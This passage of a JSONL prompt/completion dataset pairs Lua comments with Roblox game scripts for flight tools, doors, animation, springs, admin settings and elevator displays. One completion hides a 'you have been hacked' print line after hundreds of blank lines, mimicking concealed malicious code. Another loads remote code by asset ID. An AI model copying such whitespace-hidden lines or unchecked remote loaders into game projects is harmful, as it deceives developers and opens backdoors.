CheckIfAlive() then\n\t\treturn\n\tend\n\tif FightMonitor then\n\t\tFightMonitor:disconnect()\n\tend\n\tFightMonitor = Torso.ChildAdded:connect(function(Child)\n\t\tif Flying then\n\t\t\treturn\n\t\tend\n\t\tif Child.Name == \"FlightHold\" then\n\t\t\tlocal FlightSpin = Torso:FindFirstChild(\"FlightSpin\")\n\t\t\tlocal FlightPower = Torso:FindFirstChild(\"FlightPower\")\n\t\t\tlocal FlightHold = Torso:FindFirstChild(\"FlightHold\")\n\t\t\tif not FlightSpin or not FlightPower or not FlightHold then\n\t\t\t\treturn\n\t\t\tend\n\t\t\tFlying = true\n\t\t\tHumanoid.WalkSpeed = 0\n\t\t\tHumanoid.PlatformStand = true\n\t\t\tHumanoid.AutoRotate = false\n\t\t\tDisableJump(true)\n\t\t\tTorso.Velocity = Vector3.new(0, 0, 0)\n\t\t\tTorso.RotVelocity = Vector3.new(0, 0, 0)\n\t\t\twhile Flying and FlightSpin.Parent and FlightPower.Parent and FlightHold.Parent and CheckIfAlive() do\n\t\t\t\tlocal NewPush = Vector3.new(0, 0, 0)\n\t\t\t\tlocal ForwardVector = Camera.CoordinateFrame:vectorToWorldSpace(Vector3.new(0, 0, -1))\n\t\t\t\tlocal SideVector = Camera.CoordinateFrame:vectorToWorldSpace(Vector3.new(-1, 0, 0))\n\n\t\t\t\tlocal CoordinateFrame = Camera.CoordinateFrame\n\t\t\t\tlocal localControlVector = CFrame.new(Vector3.new(0,0,0),CoordinateFrame.lookVector*Vector3.new(1,0,1)):vectorToObjectSpace(Humanoid.MoveDirection)\n\n\t\t\t\tNewPush = NewPush + ((ForwardVector * CameraSpeed.Z * -localControlVector.z) or NewPush)\n\t\t\t\tNewPush = NewPush + ((SideVector * CameraSpeed.X * -localControlVector.x) or NewPush)\n\n\t\t\t\t--NewPush = (NewPush + (((Controls.Forward.Mode and not Controls.Backward.Mode) and (ForwardVector * CameraSpeed.Z)) or ((not Controls.Forward.Mode and Controls.Backward.Mode) and (ForwardVector * CameraSpeed.Z * -1)) or NewPush))\n\t\t\t\t--NewPush = (NewPush + (((Controls.Left.Mode and not Controls.Right.Mode) and (SideVector * CameraSpeed.X)) or ((not Controls.Left.Mode and Controls.Right.Mode) and (SideVector * CameraSpeed.X * -1)) or NewPush))\n\t\t\t\tFlightSpin.cframe = CFrame.new(Vector3.new(0, 0, 0), ForwardVector)\n\t\t\t\tif NewPush.magnitude < 1 then\n\t\t\t\t\tFlightHold.maxForce = Vector3.new(FlightHold.P, FlightHold.P, FlightHold.P)\n\t\t\t\t\tFlightPower.maxForce = Vector3.new(0, 0, 0)\n\t\t\t\t\tFlightHold.position = Torso.Position\n\t\t\t\telse\n\t\t\t\t\tFlightHold.maxForce = Vector3.new(0, 0, 0)\n\t\t\t\t\tFlightPower.maxForce = Vector3.new((FlightPower.P * 100), (FlightPower.P * 100), (FlightPower.P * 100))\n\t\t\t\tend\n\t\t\t\tFlightPower.velocity = NewPush\n\t\t\t\twait(Rate)\n\t\t\tend\n\t\t\tFlying = false\n\t\t\tif CheckIfAlive() then\n\t\t\t\tTorso.Velocity = Vector3.new(0, 0, 0)\n\t\t\t\tTorso.RotVelocity = Vector3.new(0, 0, 0)\n\t\t\t\tHumanoid.WalkSpeed = 16\n\t\t\t\tHumanoid.PlatformStand = false\n\t\t\t\tHumanoid.AutoRotate = true\n\t\t\t\tDisableJump(false)\n\t\t\t\tHumanoid:ChangeState(Enum.HumanoidStateType.Freefall)\n\t\t\tend\n\t\tend\n\tend)\nend\n\nfunction SetAnimation(mode, value)\n\tif mode == \"PlayAnimation\" and value and ToolEquipped and Humanoid then\n\t\tfor i, v in pairs(Animations) do\n\t\t\tif v.Animation == value.Animation then\n\t\t\t\tv.AnimationTrack:Stop()\n\t\t\t\ttable.remove(Animations, i)\n\t\t\tend\n\t\tend\n\t\tlocal AnimationTrack = Humanoid:LoadAnimation(value.Animation)\n\t\ttable.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack})\n\t\tAnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)\n\telseif mode == \"StopAnimation\" and value then\n\t\tfor i, v in pairs(Animations) do\n\t\t\tif v.Animation == value.Animation then\n\t\t\t\tv.AnimationTrack:Stop()\n\t\t\t\ttable.remove(Animations, i)\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction DisableJump(Boolean)\n\tif PreventJump then\n\t\tPreventJump:disconnect()\n\tend\n\tif Boolean then\n\t\tPreventJump = Humanoid.Changed:connect(function(Property)\n\t\t\tif Property == \"Jump\" then\n\t\t\t\tHumanoid.Jump = false\n\t\t\tend\n\t\tend)\n\tend\nend\n\nfunction CheckIfAlive()\n\treturn (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)\nend\n\nfunction KeyPress(Key, Down)\n\tlocal Key = string.lower(Key)\n\tlocal ByteKey = string.byte(Key)\n\tfor i, v in pairs(Controls) do\n\t\tif Key == v.Keys.Key or ByteKey == v.Keys.ByteKey then\n\t\t\tControls[i].Mode = Down\n\t\tend\n\tend\nend\n\nfunction Equipped(Mouse)\n\tCharacter = Tool.Parent\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tHumanoid = Character:FindFirstChild(\"Humanoid\")\n\tTorso = Character:FindFirstChild(\"HumanoidRootPart\")\n\tToolEquipped = true\n\tif not CheckIfAlive() then\n\t\treturn\n\tend\n\tMouse.KeyDown:connect(function(Key)\n\t\tKeyPress(Key, true)\n\tend)\n\tMouse.KeyUp:connect(function(Key)\n\t\tKeyPress(Key, false)\n\tend)\n\tSpawn(HandleFlightControl)\nend\n\nfunction Unequipped()\n\tFlying = false\n\tLocalObjects = {}\n\tfor i, v in pairs(Animations) do\n\t\tif v and v.AnimationTrack then\n\t\t\tv.AnimationTrack:Stop()\n\t\tend\n\tend\n\tfor i, v in pairs({PreventJump, FightMonitor}) do\n\t\tif v then\n\t\t\tv:disconnect()\n\t\tend\n\tend\n\tfor i, v in pairs(Controls) do\n\t\tControls[i].Mode = false\n\tend\n\tAnimations = {}\n\tToolEquipped = false\nend\n\nfunction InvokeServer(mode, value)\n\tlocal ServerReturn\n\tpcall(function()\n\t\tServerReturn = ServerControl:InvokeServer(mode, value)\n\tend)\n\treturn ServerReturn\nend\n\nfunction OnClientInvoke(mode, value)\n\tif mode == \"PlayAnimation\" and value and ToolEquipped and Humanoid then\n\t\tSetAnimation(\"PlayAnimation\", value)\n\telseif mode == \"StopAnimation\" and value then\n\t\tSetAnimation(\"StopAnimation\", value)\n\telseif mode == \"PlaySound\" and value then\n\t\tvalue:Play()\n\telseif mode == \"StopSound\" and value then\n\t\tvalue:Stop()\n\tend\nend\n\nClientControl.OnClientInvoke = OnClientInvoke\nTool.Equipped:connect(Equipped)\nTool.Unequipped:connect(Unequipped)\n"} +{"prompt": "-- Roblox User Input Control Modules - each returns a new() constructor function used to create controllers as needed", "completion": "\nlocal Keyboard = require(script:WaitForChild(\"Keyboard\"))\nlocal Gamepad = require(script:WaitForChild(\"Gamepad\"))\nlocal DynamicThumbstick = require(script:WaitForChild(\"DynamicThumbstick\"))\n\nlocal FFlagUserMakeThumbstickDynamic do\n\tlocal success, value = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserMakeThumbstickDynamic\")\n\tend)\n\tFFlagUserMakeThumbstickDynamic = success and value\nend\n\nlocal TouchThumbstick = FFlagUserMakeThumbstickDynamic and DynamicThumbstick or require(script:WaitForChild(\"TouchThumbstick\"))\n"} +{"prompt": "--FIRST DOOR", "completion": "\nlocal LMLOP = script.Parent.Door1.Left.LockMechanisms.LM.CFrame\nlocal LMLTGP = script.Parent.Door1.Left.LockMechanisms.LMToGo.CFrame\nlocal RMLOP = script.Parent.Door1.Right.LockMechanisms.LM.CFrame\nlocal RMLTGP = script.Parent.Door1.Right.LockMechanisms.LMToGo.CFrame\nlocal LDOP = script.Parent.Door1.Left.LeftDoor.CFrame\nlocal LDTGP = script.Parent.Door1.Left.ToGoPos.CFrame\nlocal RDOP = script.Parent.Door1.Right.RightDoor.CFrame\nlocal RDTGP = script.Parent.Door1.Right.ToGoPos.CFrame"} +{"prompt": "--[[\n\tCreate a copy of a list doing a combination filter and map.\n\n\tIf callback returns nil for any item, it is considered filtered from the\n\tlist. Any other value is considered the result of the 'map' operation.\n]]", "completion": "\nlocal function filterMap(list, callback)\n\tlocal new = {}\n\tlocal index = 1\n\n\tfor i = 1, #list do\n\t\tlocal result = callback(list[i], i)\n\n\t\tif result ~= nil then\n\t\t\tnew[index] = result\n\t\t\tindex = index + 1\n\t\tend\n\tend\n\n\treturn new\nend\n\nreturn filterMap\n"} +{"prompt": "-- wrapping long conditional in function", "completion": "\nlocal function isShiftLockMode()\n\treturn LocalPlayer.DevEnableMouseLock and GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch and\n\t\t\tLocalPlayer.DevComputerMovementMode ~= Enum.DevComputerMovementMode.ClickToMove and\n\t\t\tGameSettings.ComputerMovementMode ~= Enum.ComputerMovementMode.ClickToMove and\n\t\t\tLocalPlayer.DevComputerMovementMode ~= Enum.DevComputerMovementMode.Scriptable\nend\n\nif not UserInputService.TouchEnabled then\t-- TODO: Remove when safe on mobile\n\tIsShiftLockMode = isShiftLockMode()\nend\n"} +{"prompt": "-- put this script in the workspace not the model you want to regen, if you want a regen script that doesn't have a message when it regens delete the lines with a * after them", "completion": "\nmodel = game.Workspace.Lime-BiPlane --Change \"MyModelName\" To the name of the model you want to regen\n \n\n\n\nbackup = model:clone() \n\nwhile true do \nwait(50) --Change to how long you want in between regenerations \n\n \nmodel:remove() \n\n \nmodel = backup:clone() \nmodel.Parent = game.Workspace \nmodel:makeJoints() \n\nend \n"} +{"prompt": "-- Note, arguments do not match the new math.clamp\n-- Eventually we will replace these calls with math.clamp, but right now\n-- this is safer as math.clamp is not tolerant of min>max", "completion": "\nfunction CameraUtils.Clamp(low, high, val)\n\treturn math.min(math.max(val, low), high)\nend\n"} +{"prompt": "--[[ EDIT STAND STUFF ]]", "completion": "--\n\nlocal EditStandFrame = script.Parent.Frame.EditStand\nlocal DefaultButton = EditStandFrame.Default\nlocal OneThousandButton = EditStandFrame.OneThousand\nlocal TenThousandButton = EditStandFrame.TenThousand\nlocal OneHundredThousandButton = EditStandFrame.OneHundredThousand\n\nlocal AdminButton = EditStandFrame.AdminStand\n\nfor _, AdminName in ipairs(AdminNames) do\n\tif AdminName:lower() == player.Name:lower() then\n\t\tAdminButton.Visible = true\n\t\tAdminButton.Active = true\n\tend\nend\n\n\nlocal GetDataEvent = game.ReplicatedStorage.Events.GetDataEvent\nlocal ChangeTheme = game.ReplicatedStorage.Events.StandEvents.ChangeTheme\n\nlocal EditPrompt = nil\nlocal Booth = nil\n\nDefaultButton.Activated:Connect(function(plr) -- DEFAULT BUTTON 0 POINTS NEEDED\n\tChangeTheme:FireServer(player, \"default\", 0)\t-- fire server event here\n\t-- send noti saying completed\nend)\n\nOneThousandButton.Activated:Connect(function(plr) -- ONE THOUSAND BUTTON 1,000 DONATIONS NEEDED\n\t--GetDataEvent:FireServer(player.UserId, \"Donated\", 1)\n\t--GetDataEvent.OnClientEvent:Connect(function(value, button)\n\t--\tif value >= 1000 and button == 1 then\n\t\t\tChangeTheme:FireServer(player, \"onethousand\", 1000)\n\t\t\t-- do stuff\n\t\t--else\n\t\t--end\n\t-- how can we check to see if they are able to change booth color\n\t-- send a noti to player they need more points or if successfull\n\t-- send sound error or complete\n\t-- fire server event here if completed\nend)\n\nTenThousandButton.Activated:Connect(function(plr) -- TEN THOUSAND BUTTON 10,000 DONATIONS NEEDED\n\t--GetDataEvent:FireServer(player.UserId, \"Donated\", 2)\t\n\t--GetDataEvent.OnClientEvent:Connect(function(value, button)\n\t\t--if value >= 10000 and button == 2 then\n\t\t\tChangeTheme:FireServer(player, \"tenthousand\", 10000)\n\t\t\t-- do stuff\n\t\t--else\n\t--\t--end\n\t--end)\n\t-- how can we check to see if they are able to change booth color\n\t-- send a noti to player they need more points or if successfull\n\t-- send sound error or complete\n\t-- fire server event here if completed\nend)\n\nOneHundredThousandButton.Activated:Connect(function(plr) -- ONEHUNDRED THOUSAND BUTTON 100,000 DONATIONS NEEDED\n\t--GetDataEvent:FireServer(player.UserId, \"Donated\", 3)\t\n\t--GetDataEvent.OnClientEvent:Connect(function(value, button)\n\t--\tif value >= 100000 and button == 3 then\n\t\t\tChangeTheme:FireServer(player, \"onehundredthousand\", 100000)\n\t\t\t-- do stuff\n\t--\telse\n\n\t--\tend\n\t--end)\n\t-- how can we check to see if they are able to change booth color\n\t-- send a noti to player they need more points or if successfull\n\t-- send sound error or complete\n\t-- fire server event here if completed\nend)\n\nAdminButton.Activated:Connect(function()\n\tfor _, AdminName in ipairs(AdminNames) do\n\t\tif AdminName:lower() == player.Name:lower() then\n\t\t\tChangeTheme:FireServer(player, \"admin\", 0)\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- Libraries", "completion": "\nRegion = require(Tool.Libraries.Region)\nSignal = require(Tool.Libraries.Signal)\nSupport = require(Tool.Libraries.SupportLibrary)\nCheer = require(Tool.Libraries.Cheer)\nTry = require(Tool.Libraries.Try)\nMake = require(Tool.Libraries.Make)\nlocal Roact = require(Tool.Vendor:WaitForChild 'Roact')\nlocal Maid = require(Tool.Libraries:WaitForChild 'Maid')\n"} +{"prompt": "-------------------LIGHTCONTROLS------------------- ", "completion": "\n\t\t\t\tif(key == \"l\") and (on == true) and (plane:findFirstChild(\"Lights\") ~= nil) \n\t\t\t\t\tand(light == true) then\n\t\t\t\t\tlocal lm = plane.Lights\n\t\t\t\t\tlocal val = plane.Values.Light\n\t\t\t\t\tif(val.Value == false) then\n\t\t\t\t\t\tfor i,v in pairs(lm:GetChildren()) do \n\t\t\t\t\t\t\tif(v.Name == \"Posli\") then \n\t\t\t\t\t\t\t\tv.Gui.Enabled = true\n\t\t\t\t\t\t\telseif(v.Name == \"Flali\") then \n\t\t\t\t\t\t\t\t\tlm:findFirstChild(\"FlashScript\").Disabled = false\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tval.Value = true\n\t\t\t\t\t\telseif(val.Value == true) then \n\t\t\t\t\t\tfor i,v in pairs(lm:GetChildren()) do \n\t\t\t\t\t\tif(v.Name == \"Posli\") then\n\t\t\t\t\t\t\tv.Gui.Enabled = false\n\t\t\t\t\t\telseif(v.Name == \"Flali\") then\n\t\t\t\t\t\t\tlm:findFirstChild(\"FlashScript\").Disabled = true \n\t\t\t\t\t\t\tv.Gui.Enabled = false\n\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tval.Value = false\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\t\t"} +{"prompt": "--// Bullet Physics", "completion": "\n\tBulletPhysics = Vector3.new(0,0,0); -- Drop fixation: Lower number = more drop\n\tBulletSpeed = 10000; -- Bullet Speed\n\tBulletSpread = 1; -- How much spread the bullet has\n\t\n\tExploPhysics = Vector3.new(0,0,0); -- Drop for explosive rounds\n\tExploSpeed = 600; -- Speed for explosive rounds\n\t\n\tBulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)\n\t"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\n\nfunction onRunning(speed)\n\tif speed>0.01 then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\t\tpose = \"Running\"\n\telse\n\t\tplayAnimation(\"idle\", 0.1, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tsetAnimationSpeed(speed / 12.0)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid)\n\t\treturn\n\tend\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = time - lastTick\n \tlastTick = time\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then"} +{"prompt": "-- GUI BUTTON FUNCTIONS", "completion": "\nlocal function EnterGame()\n\t-- Hide current window\n\thide()\n\t\n\thumanoidRoot.CFrame = TeleportLocation.CFrame + Vector3.new(0, 3 + TeleportLocation.Size.Y/2, 0)\n\tInteractionBillboard.Enabled = false\n\tLobbyButton.Visible = true\n\tGameplayUi.Enabled = true\n\tTutorial.Enabled = true\n\tController.Disabled = false\nend\n"} +{"prompt": "--[[\n\tCalled when the goal state changes value.\n\n\tIf the new goal can be animated to, the equilibrium point of the internal\n\tsprings will be moved, but the springs themselves stay in place.\n\tReturns false, as this has no immediate impact on the current value of the\n\tSpring object.\n\n\tIf the new goal can't be animated to (different types/non-animatable type),\n\tthen the springs will be instantly moved to the goal value. Returns true, as\n\tthe current value of the Spring object will jump directly to the goal.\n]]", "completion": "\nfunction class:update()\n\tlocal goalValue = self._goalState:get(false)\n\n\tlocal oldType = self._currentType\n\tlocal newType = typeof(goalValue)\n\n\tself._goalValue = goalValue\n\tself._currentType = newType\n\n\tlocal springGoals = unpackType(goalValue, newType)\n\tlocal numSprings = #springGoals\n\n\tself._springGoals = springGoals\n\n\tif newType ~= oldType then\n\t\t-- if the type changed, we need to set the position and velocity\n\t\tlocal springPositions = table.create(numSprings, 0)\n\t\tlocal springVelocities = table.create(numSprings, 0)\n\n\t\tfor index, springGoal in ipairs(springGoals) do\n\t\t\tspringPositions[index] = springGoal\n\t\tend\n\n\t\tself._springPositions = springPositions\n\t\tself._springVelocities = springVelocities\n\t\tself._currentValue = self._goalValue\n\n\t\tSpringScheduler.remove(self)\n\t\treturn true\n\n\telseif numSprings == 0 then\n\t\t-- if the type hasn't changed, but isn't animatable, just change the\n\t\t-- current value\n\t\tself._currentValue = self._goalValue\n\n\t\tSpringScheduler.remove(self)\n\t\treturn true\n\tend\n\n\tSpringScheduler.add(self)\n\treturn false\nend\n\nif ENABLE_PARAM_SETTERS then\n\n\t--[[\n\t\tChanges the damping ratio of this Spring.\n\t]]\n\tfunction class:setDamping(damping: number)\n\t\tif damping < 0 then\n\t\t\tlogError(\"invalidSpringDamping\", nil, damping)\n\t\tend\n\n\t\tSpringScheduler.remove(self)\n\t\tself._damping = damping\n\t\tSpringScheduler.add(self)\n\tend\n\n\t--[[\n\t\tChanges the angular frequency of this Spring.\n\t]]\n\tfunction class:setSpeed(speed: number)\n\t\tif speed < 0 then\n\t\t\tlogError(\"invalidSpringSpeed\", nil, speed)\n\t\tend\n\n\t\tSpringScheduler.remove(self)\n\t\tself._speed = speed\n\t\tSpringScheduler.add(self)\n\tend\n\n\t--[[\n\t\tSets the position of the internal springs, meaning the value of this\n\t\tSpring will jump to the given value. This doesn't affect velocity.\n\n\t\tIf the type doesn't match the current type of the spring, an error will be\n\t\tthrown.\n\t]]\n\tfunction class:setPosition(newValue: Types.Animatable)\n\t\tlocal newType = typeof(newValue)\n\t\tif newType ~= self._currentType then\n\t\t\tlogError(\"springTypeMismatch\", nil, newType, self._currentType)\n\t\tend\n\n\t\tself._springPositions = unpackType(newValue, newType)\n\t\tself._currentValue = newValue\n\n\t\tupdateAll(self)\n\n\t\tSpringScheduler.add(self)\n\tend\n\n\t--[[\n\t\tSets the velocity of the internal springs, overwriting the existing velocity\n\t\tof this Spring. This doesn't affect position.\n\n\t\tIf the type doesn't match the current type of the spring, an error will be\n\t\tthrown.\n\t]]\n\tfunction class:setVelocity(newValue: Types.Animatable)\n\t\tlocal newType = typeof(newValue)\n\t\tif newType ~= self._currentType then\n\t\t\tlogError(\"springTypeMismatch\", nil, newType, self._currentType)\n\t\tend\n\n\t\tself._springVelocities = unpackType(newValue, newType)\n\t\tSpringScheduler.add(self)\n\tend\n\n\t--[[\n\t\tAdds to the velocity of the internal springs, on top of the existing\n\t\tvelocity of this Spring. This doesn't affect position.\n\n\t\tIf the type doesn't match the current type of the spring, an error will be\n\t\tthrown.\n\t]]\n\tfunction class:addVelocity(deltaValue: Types.Animatable)\n\t\tlocal deltaType = typeof(deltaValue)\n\t\tif deltaType ~= self._currentType then\n\t\t\tlogError(\"springTypeMismatch\", nil, deltaType, self._currentType)\n\t\tend\n\n\t\tlocal springDeltas = unpackType(deltaValue, deltaType)\n\t\tfor index, delta in ipairs(springDeltas) do\n\t\t\tself._springVelocities[index] += delta\n\t\tend\n\n\t\tSpringScheduler.add(self)\n\tend\n\nend\n\nlocal function Spring(goalState: Types.State, speed: number?, damping: number?)\n\t-- check and apply defaults for speed and damping\n\tif speed == nil then\n\t\tspeed = 10\n\telseif speed < 0 then\n\t\tlogError(\"invalidSpringSpeed\", nil, speed)\n\tend\n\n\tif damping == nil then\n\t\tdamping = 1\n\telseif damping < 0 then\n\t\tlogError(\"invalidSpringDamping\", nil, damping)\n\tend\n\n\tlocal self = setmetatable({\n\t\ttype = \"State\",\n\t\tkind = \"Spring\",\n\t\tdependencySet = {[goalState] = true},\n\t\t-- if we held strong references to the dependents, then they wouldn't be\n\t\t-- able to get garbage collected when they fall out of scope\n\t\tdependentSet = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t_speed = speed,\n\t\t_damping = damping,\n\n\t\t_goalState = goalState,\n\t\t_goalValue = nil,\n\n\t\t_currentType = nil,\n\t\t_currentValue = nil,\n\n\t\t_springPositions = nil,\n\t\t_springGoals = nil,\n\t\t_springVelocities = nil\n\t}, CLASS_METATABLE)\n\n\tinitDependency(self)\n\t-- add this object to the goal state's dependent set\n\tgoalState.dependentSet[self] = true\n\tself:update()\n\n\treturn self\nend\n\nreturn Spring\n"} +{"prompt": "-- Permissions\n-- You can set the admin power required to use a command\n-- COMMANDNAME=ADMINPOWER;", "completion": "\n\nPermissions={\n\n};\n\n}\n\nreturn {Settings,{Owners,SuperAdmins,Admins,Mods,VIP,Banned}}\n"} +{"prompt": "------------------------------------------------------------\n--\\Doors Update\n------------------------------------------------------------", "completion": "\nlocal DoorsFolder = ACS_Storage:FindFirstChild(\"Doors\")\n\n\nlocal mDistance = 5\nlocal Key = nil\n\nfunction getNearest()\n\tlocal nearest = nil\n\tlocal minDistance = mDistance\n\tlocal Character = Player.Character or Player.CharacterAdded:Wait()\n\t\n\tfor I,Door in pairs (DoorsFolder:GetChildren()) do\n\t\tif Door.Door:FindFirstChild(\"Knob\") ~= nil then\n\t\t\tlocal distance = (Door.Door.Knob.Position - Character.Torso.Position).magnitude\n\t\t\n\t\t\tif distance < minDistance then\n\t\t\t\tnearest = Door\n\t\t\t\tminDistance = distance\n\t\t\tend\n\t\tend\n\tend\n\t--print(nearest)\n\treturn nearest\nend\n\nfunction Interact(actionName, inputState, inputObj)\n\tif inputState ~= Enum.UserInputState.Begin then return end\n\t\n\tlocal nearestDoor = getNearest()\n\tlocal Character = Player.Character or Player.CharacterAdded:Wait()\n\t\n\tif nearestDoor == nil then return end\n\t\n\tif (nearestDoor.Door.Knob.Position - Character.Torso.Position).magnitude <= mDistance then\n\t\tif nearestDoor ~= nil then\n\t\t\tif nearestDoor:FindFirstChild(\"RequiresKey\") then\n\t\t\t\tKey = nearestDoor.RequiresKey.Value\n\t\t\telse\n\t\t\t\tKey = nil\n\t\t\tend\n\t\t\tEvt.DoorEvent:FireServer(nearestDoor,1,Key)\n\t\tend\n\tend\nend\n\n\nfunction GetNearest(parts, maxDistance,Part)\n\tlocal closestPart\n\tlocal minDistance = maxDistance\n for _, partToFace in ipairs(parts) do\n local distance = (Part.Position - partToFace.Position).magnitude\n if distance < minDistance then\n closestPart = partToFace\n minDistance = distance\n end\n end\n\treturn closestPart\nend\n\nCAS:BindAction(\"Interact\", Interact, false, Enum.KeyCode.G)\n\nEvt.Rappel.PlaceEvent.OnClientEvent:Connect(function(Parte)\n\tlocal Alinhar = Instance.new('AlignOrientation')\n\tAlinhar.Parent = Parte\n\tAlinhar.PrimaryAxisOnly = true\n\tAlinhar.RigidityEnabled = true\n\tAlinhar.Attachment0 = Character.HumanoidRootPart.RootAttachment\n\tAlinhar.Attachment1 = Camera.BasePart.Attachment\nend)\n\n\n\n\n\n\n"} +{"prompt": "-- Modules", "completion": "\nSecurity = require(script.Security)\nHistory = require(script.History)\nSelection = require(script.Selection)\nTargeting = require(script.Targeting)\n"} +{"prompt": "--The button", "completion": "\n\nscript.Parent.Button.ClickDetector.MouseClick:connect(function(click)\n\nif on == false then\n\non = true\n"} +{"prompt": "--This is not the leaf script it's the other scripts if you are wondering!", "completion": "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n print (\"Get rekt idiot you have been hacked lmao\")\n"} +{"prompt": "---------------------\n-- End of Examples --\n---------------------", "completion": "\n\nlocal Plugins\nif script:FindFirstChild('Plugins') and #(script:FindFirstChild('Plugins'):GetChildren()) >= 1 then\n\tPlugins = script:FindFirstChild('Plugins')\nend\n\nif script.Parent ~= game:GetService('ServerScriptService') then\n\tscript.Parent = game:GetService('ServerScriptService')\nend\n\nrequire(Configuration['Loader ID'])(Plugins,Configuration)\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,15 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Transparency = (l:sub(r,r) == \"1\" and 0 or 0.99)\n\t\t\tend\n\t\tend\n\tend\nend\n\nwhile wait() do\n\t\n\t-- -- -- -- 